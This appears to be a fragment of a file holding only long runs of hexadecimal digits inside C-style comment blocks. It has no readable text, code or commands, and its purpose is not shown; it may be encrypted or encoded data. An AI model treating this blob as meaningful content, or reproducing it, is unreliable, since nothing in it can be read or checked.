3002044c926cda529bbb53f6bab6e48e465a8f3630e8dbc33d44404e189726ab08288096df9cb0301a12627226bd912f4071aa36e8ee166449486842a4619bf9836e9de23b51eab2dffa42c65595e1254c310faceca62391d9a65f5b8654fe46fb37a6712912ff67adf62f50f003dc1dbddc5b493d0657dc9076ea4bb07ac657d23a657347a3b9961872509794326e8cd90ffc06459c843ad2d1d56c1aebadb71e2885ee4d26cf210a892c2fac54a37876a412d453b0ea2ad140827936ad98ab9bee6a2d594f3579b5bd0f8b691725f156a1fcacffaec3b2ea2c3e6a904a7ba0a94b85a98b94cc7d2e7a77348e486a03d457144cfd6ad0c22e356b0dd8f1ad805fd7d338587f03420fc78a52402163fa7a0f*/
/*caae8785dcefdd7c878f11c922885134a684de853cf21f35c7bd2c0839913e6e224197d6fac4fd986382f3069d0fd2ebd79d7afff78f6f92084449ab3fd132464a1c724585438ce9e2f25b3064a6f9bafd5d2b360d9e630ee41d8b59c4dcf31c0155cad87bd7a9f6c0a0458f897d5c207eb21d1bee7ddeda5d127345487d36f974636d7f2cef6849730f43e1bc2c31bd6e0feb140c0ab6fa983dbf07bd5e04c88dde457e302c035d198103f99462a0c8a95d10b82437ee49b4aad6d1ba83a750ff02e80f5cde303478dafbd78dacd74c7222fe24d601bac838fabed8eadb47985c17234770346e3c00779ba923533b4f46ccaba51fa8ad056c14f39edb672e07bf49eec409b19ec62f2c729a2dc1037d973735548809447851b020bf4f5ba28aec222aeeca81ff2487a1740740dd7dff8fa489c10468dd5cb4d9aa0ca80c2221d33e156ff71c4eafd1491f0d93c505124008773acb0d53b031a6f4fd6de65e5f832699d5f959229a69a7be6d2b4f920c75e6e2e525fad177f2b849087abc653f35c6a4a7633abac5d13a0d893f4df5cf068c65f72ec823daf94f651c180f659c01a73b92f0de1e528f5663af5c42bd399549da2385bab6af07bd74322f96eec32260d2ac8b320ce236a7060c0c41ae95188cf99544727f2659379a5176c51270f1892f9b9829e593982650d76c2e048c3af2c7a8f7edffa36fcf50f2888f4b00c8bf3de8d79337637223b335a206c89a7612f8840eb3b2632319175647f71e5f34dacf4491b55ebb3d33c960f4f0ab50ccc58e7467d834789dfee057d2f56d3e65e137700152828430517815fefc744e705323a6b66e9a3ff0f8876adc8bfc660bb233341d5660d424981a5fa996bc5850d94bf73d3e4e850fa94196227e3afbc60a0026487fd3416891fa5dae0b3b1121971cfd4227cf5e00b2397f684f906967980b4a69980a95381640ab5a941bfd7d707e7fbb8395f32ab076b363ddf6f7bc7f2ba43633524e530d48d041fab70a4cab809ff0b17dfa85b24ee1e2ea40e58bfc94382d6e3ec96f693b818f9c38e041808677846d633248e77b0b79c43b57f7d7ce1a765935d8528cb63dc6bc06f2041d7757279f992bf641d9e2840396217a4f16ae330169364baf81f0581e6fd7d8951b525861ec4e7a2881bfbade6b7ce099e479d6c460ccbe39132f3e7fcc3021d65aaffbec4c0e422ec680a6db6818a36aedd358442812c800857d83d96880b8c574a1c9e5781a0cddd52a510724fa84e0e4b017f081050562785ededea89f09da6c4fd7d7616e51ee041493306af8d46adc9d9e0fe9e7d4de30dd33792f084c3f941356e3769bfe41d37c0cf8ff52d1809b28d360977c73b9e934c7b6cf9aa603fe571542599be6fd9d6de703b77a502ef4fc886eb7eb8a21b2d80d1477283f8ad625e04f8352776f0503fbce0d2d32674a560cdd676d6fd1d7369cab7caed7b95c485f05d0469f7347e26ff4c59c4affbc825f95c72dfa5ffa86d4062cf4cccfa431c9fbb2cf346c34d4c6f2d769e8c03405fd7ea817c4a90f9b3fcebe08cabf377f083aa8a3e97cfef67bb054df583bc309eea99a438431d64b6fc2df7e0abc4e29da9c98e8712d17e651e544f30d9526cc29fac802a55d9503b84567c1c1144bcb6289dc3acac05ad0deb80fd502e9c900226f1ba89f1f0f21e48e2557be41793be00ffe56d53523b929bfa7c0e7906c6c24659812f2d6d201890c3e3335fbe305dfa0d0a44a1d3f55b24ed8ebc08a1280dcfb13accce82960914dccbb9ef317c6f3e303793c543d2bd06ac012a19c7cfedf6fee9884106918d9c983492088ebb4014cd8a326d3e10ff140cfc0218996c9bda50707752c6c36ebcba234d29815d473814f288aeac9b24285ab902a94fc44beee433cb932af240f20baa281c4b293fb4e3d22bd883bf8e88c97a0e6069e3810e9714b11d4b3b9ad4de71493efefab038ddfc8ade5a27f1d3833d31623a6fc2161a77f9ab10b2fd38d40b8068698fe7f8a510432f27994e2be8023b36759f718aadcbf7bc04022db7e918bb3f5dee7b2339e1f23f79891386a3f90ba7eb0d5ad9c6de53ee63c3b78feb8345965d45b55474d55be41e078c2ae90f04d57ed21bfdd34b4c45e214366116d11153939de5fc0d5c969c74942d700c38a326e70b7401e9c1f9e1a64c1fe174c05221a58bb95d4e2a40a66503e6dfe4cd7b8364c6bbe4b602f06c981cce2661f542b040028f15fc023df74d3b4174619b6625a1bf614b074b1573d82151bdb7bd29c6a3667dfb1c97346fdaff8c2c56d85a173ed527a945b8f6b52b90c2accd1c6562dbb991825bf4ba5e964433438e432608bca023760d20e5532b48697620de0e9a6b7d42d1d5dcf533637b6bdd51a5179935fe9b8133deab1fe2a8f922dc3bcf4d3df10d989c674bdb46a68f570ca3ae106f7ead0e3ece48ba7a55f94292657d45ecebf5bf0d9d4be7d7d3b222098356598580b59e25aee78c92d091cbd840cad5bfe27542a031d5deabd7fc05d51b0acd2ade735a83753936684e1ca8dd44e9b4e644a75cc1628925ad8932400fb47ba66495699e75bdb6dcfb77dcaf6d0c10d6fb4b5543376c72b245ce461ef954a4d7678892cc16b536f5519b815cb1fa9785633a507f9b431b3ab47686c82d1eeb9492efa0f627aa4cb8a412ea7fd36a4e031f200b1c56932158afcd3c1a87f89dbda014dc32106c0eb50b1cf54f0d45c4e899539f6ee16da79f9d0a29650d85f9fd0b7ca0547470619bb93eee6a0cad51b391b63fd0910e8c816bdaefc25b5482308e39154e390289fd1eeb8f37cb95c*/
/*74da3478fd37da2ad41803e2427453d1d0f08f92fbed0dd57e9f7143efa7a163089f9d86da93e2c14b6575aa320ab76a8ac953985925dec60ca08fb281319a4be7620da189f2ffefff0bf5755a942f751bf1e165f97c1fbe3c39aceadaa17520e55dae8c6aa029a8d0db9bb356dca90fa6ff336b3e6e12e9e75659d69a2864b77bdfbc819ea362246c4ea90d0df30f99071994c21663758f6e90a60caf8a579ab8f8d3d096df9fc39fe5e0bbd2b802565906e1acacc8902b8b2b22201a62a2116f5af9e6c893c7f1684792aa18ac83f5a9bf8c33f8921a91a02967ecb93e9c8f7741d4730e4b2790b31cbd2f177b3c38cc537f52a009e444907847db6cbb8367781bc37d5b470b7d3c8633d012e3c0f22b411000d2ed74087093c9f3079dcc60126145e933a26f078d7cb6bf0e581ce137db754708bd528a044fc4285b377c468cdeb13eceb593c538ccdafbc7dd94ad144c61eb51721466b95fb64c0fedf909eeeeb27581ef3b6ff81e40902695d2790675ed17a4db96ee59c7b91fd9b809e5a15b2fe689dca38ca6d762b6d3b8f4c034ebbb7f7f5d00be80a41c40f738f01a52935d88e884fa93b950fe3fcb91fabca2c98e1a802b612609c64c88e10ffd51f65b030ba1d1beed391e29fe8f3f82edcc4b6279795f43b914ad45a888e3abff032f79b973c547d7412a5a8832fc17c650f2548c03a25a81f7e7cb8889599ac1843d97012b5f5487ecd837656214972250bf12313f6f68231c4a923ea3fef19befada2c83dabfc2073ba50f4bd1c1a25babc9a02dfd245b5c98c21082b0ac58d6ed946cb131c99f479c9666568088338a5ee6cee4a437c38f228a7183bee18f3c4de7831219dd595fbb588402a37aac5d02622885d87ed6cc9a3e27f0ebea34e52bccdd97f424225024169619e52a2116a18387f8d6aab815a55938de76b07805f20de50816ddd9351ce4ef51bf9fbc5ee7809ba450c4f4571d668da4bbbebf5bbc118eebbdcd975cf3dbad633c938b28c25b02a5c578ea8b6748929303408908df94e76b7c0579614c2ce5d2b3910b492bf9adc32d604c2265aed8f0b15fb6193dac207d23d28df42e6f350fb07b40b7419e61e68dae6c40c37d4740905635bd9a800c49390ed8bda344a18056f835e6430612cf1c7b069e7c926a92811662847bd4b22c4cacad76c07da6213de9efaea5a00a1667f01b7356832d3b831e81107565054897459ff115aca20ebdf79ea11058848fda3cdb7590e41f8a283eb1687f9e04c72889e327c0421e587af4572f7a9fcd9d63f4d694da6d1ad74c5a8113daafb6ca6d10d61ade106c75c8ac3ab29ab902bae395a7985a58982d77506eaa7405e642dfd57b12482d1170b3a117d3f615f38faf9921f945c57d5b256c1b74dd9d9111aa2cf30c254527b8cdbda87088ecb7504409e3798f025489219003c448a7b9617ebbd98769332724e3398e203e6a1b2f79380764e80215122e0aeb2310465e859f157f5c3596ee684318210831113c5f877cf4788d7ceb3c4e8f8ad5e94f4ce26ff7966cb65ad3fdf9d503256df3ab70913be4cfe079a90da2567f1d1a5398abe7bd28deb2280f8b6c1c9b521962ddce9d1d5a64b07df247b9efadb5c3dd0305465d016753125af49fe4552b201373432c77a18172640db5aed18f8887306cfe25b9dc928a9b900a3fad5ca69f680da34aa6c27c5419d29a2b5b8531188078e6355389891c3fb0c731905d670de781d4c2faaff3fc26fb515f8ebf46ef4861d0a6e785adddbeb691200de95e9ed31129750a863ec1968c11501901abfd3b4b2c6775f6c9bcdbab171f5a7c980b8da84e422fe955dd0600e97bef850c3b0a3b3a290713d1ab17e05a6b9e723a274e21d212c1f986aeb17159ddb6cced9e51af9f9f39de092bc1ff47ef770eb0b8e530b961dc54fdea3314443831e8269025b281cf9c9f618bab545ab3544dc49b166cb186a7af8a83b8cfd94ea08b02e737d48260976df1693c0c5a2f02b036b44db0063298348bef863086b9158adc666644ebe0a618b98fba70a470eb84a2ac8adf6a408ec92f418651fe460f9428b198f02a873f6091b6742bb8b15db1f39262e2078937a0def4c6a1bfd944902b9b302aec7d475e3e8b71af9aa6d8190b22dbf0645dbd557e36266b43285609dfe7c430da62071e72d8bb7da4bedd5172ac3d94fe9131917087c4a52eca91a84d367a97600fbde5b86b7d363104640e107096b93039192f8a35c9e7464825f6ba0f7cb8d844b138d9b7940d8f26ced8eb74d42b6e646831d36fbc1f097b6e2f76ef85f2700f6ae4993ec80d84f22608b8994aacb257f011c2e124905dec6f16beb8243d223461e627c7dd263ff4468e01136a8a8473abf517b199f1a011c672cd1fef4d322fd690414da527a1b2cb4558ada2cf8107957b8dd6a4f1fa689de2b38e2594734df5fa6fec35bccd242e9a928ee89767f1cf7e008a057c5ecd0100e47ae0b2e5d22c598c7563fee42687c996466d48e5a12094dbadde5671f2d9e282f4ba3ac21227e2f64fa558574b105036f82f40ded37250c081340a5dcd2aa086b799cbaa920057a5d4b23ed27b2105eb2e93f5b67641ea417e9d87057dd8540c111523f03583d3815aa78b45a0802122ee3b9a6881a5fea75866973d4575ce168890edf203ff146ffbecb0352a202b802aaad6fb0eab760a6d6b5fa471e881a3c6501afd41df276ecdff431e43ab52c98f4c16e72ed81aa4d0374dbae156db799d4ffd6b24bff9030c7c16b625d389646a021ca4823d594f0995d31049db2855e5b1124d297d743d9419753fdc63a77*/
/*7ebd59527b7d97b5a774ff693bb364a27fa321675367cf17d88f610507815635b300a8db7fe7e2712c9bb15d3c7ffe77a33cd3a73cd006de2f2bce5aa41f91d4d5fa617193b6accd819dd45a3b6da847dfed886b60822b3357ade8f6df9a43b7b1808ef2e10057b1d89f6a419b7230d7c1ec6a1e0c30db763a273c040fbe641f9cb88a4923a51e6492ed0c1cff260fe7abd87555148da5b6874b404a5d88c6ed26b62fe26a27aaeaa298fa4a5f9d3f685b961ea9a836b8fc0aae59b802ac4a1c0f097120a6cd4d101f7c789cbc359110341055dec1b43aaf00e7e2381d56ee92e78f826945bc14eab7fa69b733862aeb3e8a5dfdf7e060225ece12b91cd986f9d312f186e5e2d888193ac6fc2106b2c8f2bd80d68238a558765cd25c4f58f858f971743f82c9cf1356fa594890b861e1f2cf56f7ad2ea8abc1d9d4f42714cc7a08498055a66b006fa2261929366c0575436d72ded45412f34922a5d802ad3965ea913183c8d176edc6da22eb3ef02d5178929a9c92098b52eacf943e9bdeb2d066124f155f8e1ee58e07e24f86ce5925d3707f8047f5b7d9111b40ce734d2bceec9a98a6889acf190c61045e668af1e60bf75ca4602afbd5265a1cb070804c9a238439654478765f8e4dc324c1af7136ebff5272ddec4ab4bee3ec5c12373279fcdd549f30caf17ec47b5f92c35bb4e0be82445aa253dbeb1dee9fef54ccdfa5597878bfb88552c6a705e31f6f9cff0f8eb62763ec0511bb7cf7f6b061359c6d4701d6df85895b7fec7659f941f0ac521d352e6f2045dd0be88f4f8ab612e7818febe5bc13a584f873c1c997880b2e3402c72dab604b12274f323c926205509987a926949f2d8d4222a03ddafe68e153c2f984e3201d83fcd418745e808d68e780345e2e7dcd85ff4c8e85cc6055f59fa02faea1af72dcfe7a77dc96d3abb18243b834a34e3630dae4fe91664a7ae80a1c56bac7b7f7098770f190cf275ad10a4ede818804b484826b45ded8a6a492136beed8fc648dd3ff1150cf0713b33961062332ab622504090e3fc852b29833ba4296b06cbd80521954471893cfe718cc43dc37635846bdcfc66e811414b1d503d2fe3a059081d4f346376c6bd19989d76ae2aaa1c5eec94c9bdd8a43ba3e0e48fbf2be1aec3ab99d259966e773e429f9e19dbc22bc59a28537061601c0ae0f6eef07b6cd6105af1aa5f542cc3141e3c51ff5dce65076678c1d000810d8f08bd4f431ae33d73f619b6a12587f72af354f76b667fdc0daa22c5ffe2d0aba198e1dc3b4aa20e5db5bc13b908d5c38ffa05d23d15eb8c49639f6bc3949201a0a86cbaeab9072e6397f5907b5b0e94c530ea3ce31267ec853a8a5e07b1d75732828b5071c11f330d2c3017fe32b33733c5970d23c4950dbe8de959d32fb33e949e556ef903a598a3ccd09806cf49de2ffe96f4b0f84d947043218a61040786d10110a9f1948e18a2a796583c8599a1875311d435c6555a59f8c5adbbe89dd96e267afd50d94ad7740d4251126876cb2588cc372aad94f2682fd9660bb1f6cf16141a0aba5b74677807673c377a5c30523a14f6a04610fb4c9620c4677d717eba336160c8563861d9ecb5e8dc1230157caafed5ae04ba816cfc0931e1049078bfc05951ca730856ce489677c04a803807e2ce4a7ca2d0373a57a8d6efd68cc537ae02b1dabefb8f3f2acfde881ef4f1e1c8913f0d660225c58212c95deb981eaa5fa57a09cbdffc182135ded7d15b6621688fc3fdb5e6c0a1d2934581fde543c086af0ac51b7726e252bcb0a0afe51f476b596f2aa86af3895d5fa04b263b9cbcd00532bc1c81e5b8f746665368009edbc33d3aaab9672430c8b4549aa3ce8d59ee7c18a0afb95843daae434bcc0f070de5f0cd7a487840cc28bffdf0cfd3455a0e3b791cc38eece4983cac2f5b415aa78e11eeb5bd16b68b202c7b9adbed11bbba4ef16e160b18f89c87d36f7bccea192e54f4550285d27f6cac085dff307d5ba31f169fdd698e0ac2ebf170d9c9cfac0230a6f99bbf8e657b4975144b0e5b8f7cb9312624cb9ca94d09ec4221e398b4a4dbf57f92d9660320d26f1c1309e1379e6ca75e9682e8608405ce6b8f506440a376cd70e12e70237589762ef5226a7b782bd490e05a57876b63f331b0466739e36bf088003afb79beedfc375ed41053c4d0bcf8b2afdcb44d162dbf65bcaa5494ad28a755527d2d44727bbd1a7e44b0e00c4ddcb180b9bcc7de2a60089f8ee695c1754b65a0e2836e56dd7ebcd8c9596470ea6a7a5734901b84178998348c1bb7f7644d0435345f6f2431e41e17b120783246771dc493065d75acfcf12eefcc761aec160a9236b3c5a826f830ac3ea0600ee4e63e8471d860ebd1ef559733b352be4be50909063e3689d154e77a934c8c8fc7c8a5fcf1c01a905571621939266266a0c2e7db6a33126abb520e3362fcd546e3020a10eef47051ba26cf6f433cd3feebcf798b469e2a6ec4cc9d53e94ea46527619148e86f1b2c0c30518647eb7512c99fb512bdeedbf594179458faac13ed30d8fd17a73129e83287207bd308515794bbdc7e6b226b81aea09149f0ad0b81508e7b9b137a0830a492da04f80b823bfc590074407e5fe8b3dc9172e48dcbec7d657cdc698460a642431ddfbbdaa5bfdbf547783110f83c10f7f0813a2a94589d4fe558303532f25a8f4c2402e21a9c922c1918baf2fd739810533996067565f0454f42c14c528e0e0c311867cd8fcfbe9d20a0be9d32da8eedef8a3481bdaf14ff09f2a50b9ddd78d004890fb3b87472bd8bfef7053f623edd3abdba1ab6277*/
/*f8117206fb0819d0cf7deefaed1a5dc215dbb19c47ccd8b1d4c58dbfb1b9c4a847c7188f62966d06c01b369e1e1c78b88ac0404a01737f7911229607b32bd54ab634966a8ae5f9ed606a0952f42496a1bffac51dda882834255833dd0b7de0560fe7ecdbe6d89bf980c2418b1923139a314f6d0fd2f5fb9819f084c19cf431f34207b684ea4655216e3c008bbf7afa66da2b9afa6e8652a5187da2ae729a9fdba8ce06da81afc48111a87061acda9f7fdbb12c023c69bf81a757569471a19fa65a21002a5cdb1ed1c1596694e5175ff59d0cc0d85538c155bf2c5999e3b8a6eeee46dd099885389544827f7235e40738792e3a6dee20eb2dde7468d2c4bfc2d766bcbc4cc6f076850c912600fb02573366c4bbbf473b79be033fedf08fc099383f45459dcd260c0f09ea4d592717c3ccce340e902100b09781dabb08c2b82c21350e0ba214aff0c2c7b2c8f55c6d6a8f3665b41e96bb7642ba8e8f254f097e351d01c90ff67f62ab3b087d95fb4bc42ae6b3624219ca38812182b55d137f3879cf07ec8242305ca979cf17e5e01d36f0cca33cdb5546c1cc18a233b14ca243160cc80a8ae0177be03ce0384929b1f465a892d19c390590fa37ed4f245bd30c02f3fc082fb5aa054f80c0ee31f40c0f35a77e3635c2f4320589156deebf5c96a3dc2feb1e9b367fc4945a90bee624ae4036208df933783f91ac6b38f430e770d6b3e7181303a11caee425f3c7ae8dd2bdfebde7b9b4c2c5de5b522e7b79b3c2a44800ee8feb753f62ea3e7c7a2d244a8443c910bba258057e0b7b89a66bd8dac29a8b184f80fa2ef89ba9520a7a37ac6341f71e59e12d352cbf3b9e36106acea3caa6d4309c4e6cd19760bbba46c84dbeb8c15187247cd5a3a829fb862fd26c7dec7680a67ddddb5591ae821de57e6e92235ab789790864e75a7d6151bd90c6d7f0beb82090e6d41c678e08e2701f8085ce51bd0f0fa6752b4170350c6cc5df45dba98678d79781a5fdd2ac50bc3e118060bad823adb6be75d719887b36abfee81df37c13376c083ef7c1ac881e8eba4cbc382b98297d74da2aaba5e0481a42756af0e071742b2d5f2fbbf343961ffd6de33c5055eef20add11469e63e8b8189db6ddcfe7d451e147c39ae8f73ab32dd3231e16fe995b42969c5f669104ab292bb8648c15e5794a0b1989df46f8d135ecb28b6e1a78cd79b79d38d0315eb252974f84b928715dbe38da2f2008fd8e7b2c2c3b1bde19d06a059705714188ac8d35162c0ea2aa8dac6c87a76d292b20beb2000b0099bcc9d870c5a16f8f40f27ab7f6d94af6f1db079df564751e299987bb5dc05ec836207ba43bd7555c581f245eb63b4f5e662410da9dcb641bafee3afc79c8fab7217cfaf56801f1f83726b15f9229d9692a72c8878d144afb07a0e66b7c6c07e22623daec14171fd25a2f4330f5759463db1c6e215e1cebc926c758b0177772b977f30c65f48e49d25554f0721353f4fe256581b1029babdcdab19e6588bb1610a88cd765b0310a30bd7298e507d90692af3a9785b4854964eb3d627ecbf0d2e6a37914d23c98f6470e5267f7122106ef30c9e3399ed1646ea82cc4daf63e63db6e391240bde369432f7a5be394c702ef1af3a56e8d418f6300a5e62d7a2e4707b5ef5bc7601ba3099a9fd269afcd991dfb5cf33ef36f6678301bbf9ee78469b2918f0f13925d04916d70802d939156a987ea063134b6cf2451133a8940298593295c965caba651a9d4f9e3f1a06730a4ba797360f4de330594bd56dc345d96db276f8825a4f7033701dbefc246ab14455f97f579d7a77d1af5496d855d94f0de2da9f194db668329bd7b9238fee8d92aecd0b59b1af9ba7c5cf9072773c20fffb66ba9415595e9ee661aa20376a36e79a5454e37785efcd37e8ae3e585686659bf8906369872a4e4f1fcc5d0285ef97f57c0dfbff58888b0344ab25eebfee6a37599846c6f12e8136525d7ac0018f1ecf8462561fa150a054454e621e171e7041068a191e7ae646192ade6815ff5da075dca933f1b455909d3ae480749b596df0df604b0169fe926607a660840285178fe9d16095f80acd863d5b9644ba626d8db164f85ca3d1c2fca2ea96097a7849f6eafcea0e1626ee8d615aa09ea0b43c828ef6835ee9833eb8a9caf9c594a874bd56436ff3e01233a42f01c5b8a0edf4f46f41fce6fab7640eef5a86268105e3555a768f62774c9cfa1b5f283814af039229b6f25ad8629178a0f8cb784f51d00ed748b1d2f0475d1bf2d529ff598398b645e66ed565b98ba070e2e2dcdc77a38ab9c19c1a022fe791b326fb3b4fa0cf575aeb5800ecbf2df9d50c9ed8d5ce7f4b26a573952de3b6309480220c5b7fdd03d0d3a44b9aabb1a5e619d7271e86c40a36d36fc70d783bc62d468e58a137ca2fb6a1e1e064f92be4eae98dec72dc5a6d12507b0d05e4029f54f7e20fa09e07bf9269e4676013b09273069320300346e5d3108fa1c1266995a5f71089fe19214c5a6e3e88b9e8c8dfe920c2005d678be18a2cbb392b20be18d75f02dd2ae823011761ca80ce06494bf892772d06f698945e3eaf39968286f25b3ea91b29562f1f89ab97f6cc51688f9c5a2bcd35ce17be34db399a0bf8d9aa33ad970c0a1b31ca34316fc416d8f913394f30510ec5a585aaec611593c1c4a1eba55dcde8112e187b025c6eaa6c8e474c819927775725421aafef2605efd537461da420d11bfc064479c71e5ba3abf4e8bf3a6ea348a929414d98137fac8af7480b49ab3c4fe16cc4f53129a214f49265a889cfbcd8f1fe63353f6894d00cdd5368744*/
/*567b030afee52b66cea028fa54d5f3d6fed453b5f20d8b3262ce95176fb7062b1a273b6beeed8b814303e285fc51225728fd8e5ea1c0d644979dfd3cbc10aa8e9ef47b96116b702400339a4b0a836478a4d18ce2fcd78d6c9cdd285ad40ab1f01a44ce2030014f9f21513e7df437217ace06fa456ceed52b6ade083a402127014a000f37628c401f0a80ccc46f03be63894f9c614e2306beb905b394cdf09ba12d34dbe26a8abeb01e8f85ff53aa1e8b680c79c3828f2410fb160a866ec3e25968bf45c6c9aba86821e495e11d692f13b2b12dc46a1702d3295c4bc4027e3bb3c7938df3265a892a55600905d4bff3155c4d9fc014e8652fcd8e34c2f287109a61a6f6442c2a8850927eb7f4953f07a2bdd761082ae18aa4334be81ac0897cd839789fdad888918b65b77a2989bfea29dba7b37ce20fbb1ec2eecbfb9f9805b4a6b17f8ebc44113385e746ba3cf1248be1fe1208e3dbec19a6c8f821ebf3a6815b7a20e2ad8abfb10db38059ca376c47134fb1f54e695b40e6624e194d49690f71bce198117a80fd925d7e4f438192a783817f1eeab66f621b2b67087abadf1498de6ba1a91ea35b334278d8f8e451b7e0b1eb8da39edefd47f36443c0c824043bc07c40b7985ef71189f43edb96c8d056eb2e7ad3b33ce9e0f842cea800082ee3702cba25fc7e7844fc54f3e6b0e0f28ecb9b5e653f5a7a1f36918d361b9eb8340c574c9242380fcbb9a314293913e6f1201a1a92042823fbfe1646d631d75f79453481aac8c75506e6550050a4f80074429574051046596737ca5bc43ab6ea5ee6a78af96235ebfeae4f3eb40ca857fa8422dda9b955ddc8db8b6713d507695fda357cd986ad7b6100fef70cb64f71cc1ce0e90f2085cc41b83235f671f2d7afe19bf0bb2c907b1ebf23a0a2d8de5c24bffdf01e341ba485f14e197d8896370ad53c68134f3046cac9dea8bc95c6e3cb7aa88791faa8a7d1a110655aa922ef7206dcade1b833886e35669ece6755aa34d2260c494258af946ba64e4993482fa86da0a1b308d780cb902b829e285a5049610afd418f4268fa740953b03b460d55a6c525e4ce958769c9b82ce044138142e6a794a3585d10a3b7262a02fcfe14ada8725988e0d2d81882a6dd9fde5f8942789bb39cb95c22f731a30b93ede3a0b3ecd702c2f1098997c139b199e578a7ab0734c428229b2cb513eb9db788c400af7e2d085f707b14d659b41836bb85bd7c8f1734d51e77ab5b2cf2122cf445d886abab28451988ee34182cb45ab274b2704d40f51f0534c5d2dcd6f4c1e4a898358376ccc2f448e063dc26ddcde412732f68821497500b456714608f3a6bd1b0a7465e05d0f878986e0b0ea5a4efab0708c7de86601ea8958c36da1a830e4105efe7b90e01f2c7760a6d0951c4ef1314b59900785f0c830f6e46066603de2be13f5dfd707bd2753d458f197742d225786bd2c49833352a6cb010ded70a6f2f407a89a5375d1f2d3b15f36464ab563a7c81c839b3282fcfbde8112c72ae04ace2d05548d79765aa37c533cb5a8ff65e4752eec0b6b7a013a9ba8ea8da133f8dae776fde9536249e8ae169b8931cc67d583b9ad661a440da42431a638c8337bd7ecd1ef20f9c49ce417b51aba7f02854a6748e7ea060b843df0fed2bf68a5b20f75d69719a28fb9fefea2e89bedec3dfccdb2ab05636084a04fc5602924d7bd563a31c0cbf57ca7e5e73bb8dfa090d4a41c90b504ff6f2bd30302cd6d1ca70c29772ab66b3ac95003b245805acaf2a7749c0edd1aeabb073a4b52587a5a0da69611a65e97c5b91648f74a8f73b04e6298028708583cd6090e947a315d1175d027590e1c18e6d3270181df2e3f20cf4571e935789f17e22174b060afed676c51da2e8081d254cd3698344838919e948ee586668367e62b9590d90de331d18d86516bfa6c582e433d7104c04c68e3bae46d82d69822aeb228d7caaaa7f556d2764a64e6d1f04c0a81b66e4994b6371c86be97467735216250b34a7017f01287e9069a95f56bf22c768232b259f2d7257ef9aff6a79add157b242f804922a783a0c7f47d42ceb41fe5cb5ad6d18107a38e2460c5d7c160cb949447e8413f4bccfd996fe3ab7593dc8f8be59487aa28dba4b2b4bcf50d41e9956064754290316cdc7703f6460244984017b66dc434484bda6e4ed4eafed3eb403e847ea5b68ca10b69f8f911a0b1a295aff7e73f3d034974fa59daa1079fc6bbb6d0b7614a486e6844db243120de92618accbfcdcdcbde121f3210e424b2dff75871212d8e465910a06717ad6ec93d5905dce4948790c0e386eb2d7c8fe7a31a35b3ce2634d935eee1f1f0318e9ef0fe1da8190c0e9a4abab7ac0460a45b4b824f88c8758cd9631c6dac550cdecacb229abaeddb32889c9dc720bde1042870c6c64cc4f31b2bbeff83d3e6fad59e101e413b3344cfec84c8307de15dcea81850f6d85bbc40844c3a18fa18a69cafb2bad225492d586e7831c200d38cfe5f8c6353c7337956598d07e3f6249e1ba070699eb83f06f5873a44ec59f69da3e69fe7809fca070e4a8d0bbb72a6a281fbd18134b8ada562c597e5cfc42efe7513ac957a29c84c2e7757b7aa6e0df35bc04525814c3b7e84e2e124de51d2d1712b5f10d357a70ab6e3c3909d4cbb8749b7f1e9cb3fdccb7bf565167d70e6b226ee4e372a996edcebe93726615e59f7151a7e45e8f8986ca182f88cf0ddfd4986cddf941f8b19c1bab22f2262bafc50db3035ac7bb563ef779bf3d2523076c528fb10a6d1c9a07475752ccd23e991a9f625d131a4cccfae3d7852950a6*/
/*d0c36d5e0594929f91c34c1fb44202acc1ec44c0f18d90b71d3087c1f25579c04172b059bece70272a24d13fddb9623b7c12c5216ace1e8d0bff81eda51465227b2bc03a1d31aff0953856840ba2c340a16e3a1f43662beff18324d8bf3a308f0e3866b44be37c600b3af7ccc1d962153172aeb81a87e8244a4992c030d6d1490a82eac52117c4a2f53adc9b0991dd78160d38334447c3329f10cc2b75303970b2fbba028245c412c7bdcdf1345cc8b864fdd91b9aad600a141d62f6b881a93ea22a500e7a0d90405f08bd5c1fd951e3e1cdd3c256c218ce87d2c5188f63cfa7d59d25af2660478acdf5311750c2f75be0c8b9c57dc4552713e91221301222ed9e21b91322fee0dc87824ecc25c33b7b02bb54d19ed3f5f3dddc785d556e4a6d447175d14dc6b7f0b4ca2197fc8ef42012e52f0d8a5750e1062783dd25b23c8aad4135066efcef829960c96608d1a0029d2fa6f7196a31cb79828885b228b878b401169ef17ff4095be86e5a86a4073490b498e58b759171bd63df7bc7a6c1ef25934ca6b0176d2111b8c32beb46f1fbc93d7acbe2da1bcd1e60c0e9943efd25e33e24201afd81e70bc9df9425f2ebf7c7ab65af6a292fe117c718c525ece584ca7d823825a4fed435256de0b0020f6d0a5f2306a4d68bf331eb5494809cecc8303118452cf4e86518c75000aa8d72f711a5bc8aa7342da90e67ea28c3980b68046b66b878974f6c610811b1b532790c4d3ae15e4307f3b3496ed2869bfd406e04225e93ca9ed0ed513354b00771071c383ca0e1b51f5e1b4aee6401e24b815331d5fcb6d8f0f4cfb25cdedfd1aefbdfe3fac9b6c833cb2e78f728b0feb62bf042b8c585a7bb623c4067fcefede40eb1d54823acc773ced5d57d38f4c32aa1585eb43463863b7323a84249d0c09f50dd3827a046a75ce88e1f4f99394b6e9d6057af8d5c346066f74e19abbb806ca28ef961af26380c521a7241392c330450a0ea6d32b13b401bb5160c408b15dd8c87661a1fe361e1e9338b5fb549adad688c7f7d1e5f2ef3ffda530e3feb2e83b04eeac5b145fb069b7ec4d518cbee598b62eb9ca1e067e5db77878f2d4b33a54c8ea96323a2048aa0e37e263a3c026c82b194969ce15bf6cbcdb448a0c260fc6d5ef75e37f598fc097eb6b9eeda7e6d237ce985dd49f5b90335fb7730453cec84509eb95f8bb246efec0645917c8995ca480a42458d56fdd71fdedb7331569a1cf01c5ff0503c876cb4241cf8711c5e7a3fa6462b0a05b0e13b7d23ee9a6cd508b2f79267c5ac4897c753e0968df02d2ef31fb6925718a1bf324e461d03061244926345b3f7e70a83f39d6c49dd2969c96645549c30afeae2f3616c2f88d2129851843724ae9b0e16e6cead0dff15d7b02901c0163a1b2b8a508b71bf09cfce599378efbdd1d3c28e9ddbe8c8d967e2927b4de41e018586e39e09485ec75144b6ea1f7465592e386fe9378fb5ff44af1df4d44b0578e91a15000f53f702ca933145053a69fb51b25d205800b73303cef5323acabf3c0a3ee2dc0bc8e24d27933f1bacfe121bd5fb796d950e1d80ad9ab9cfd251c051766e6c093bd245fe2b8e07dc74061d9573ecbb89030cf11278aac4fc6d77f15f5f8e5d543f3bc1e19e8a104060ada82adb02723a240f3dc74fee109cf720f6380cfa5ff79dda0f22e083f4306a9e9ef0ef7f02f8210e0361c719efba41d05f6a078d6976e4bbe5015a6fcff3a21634dc5ea616db8e31c918701153d0ad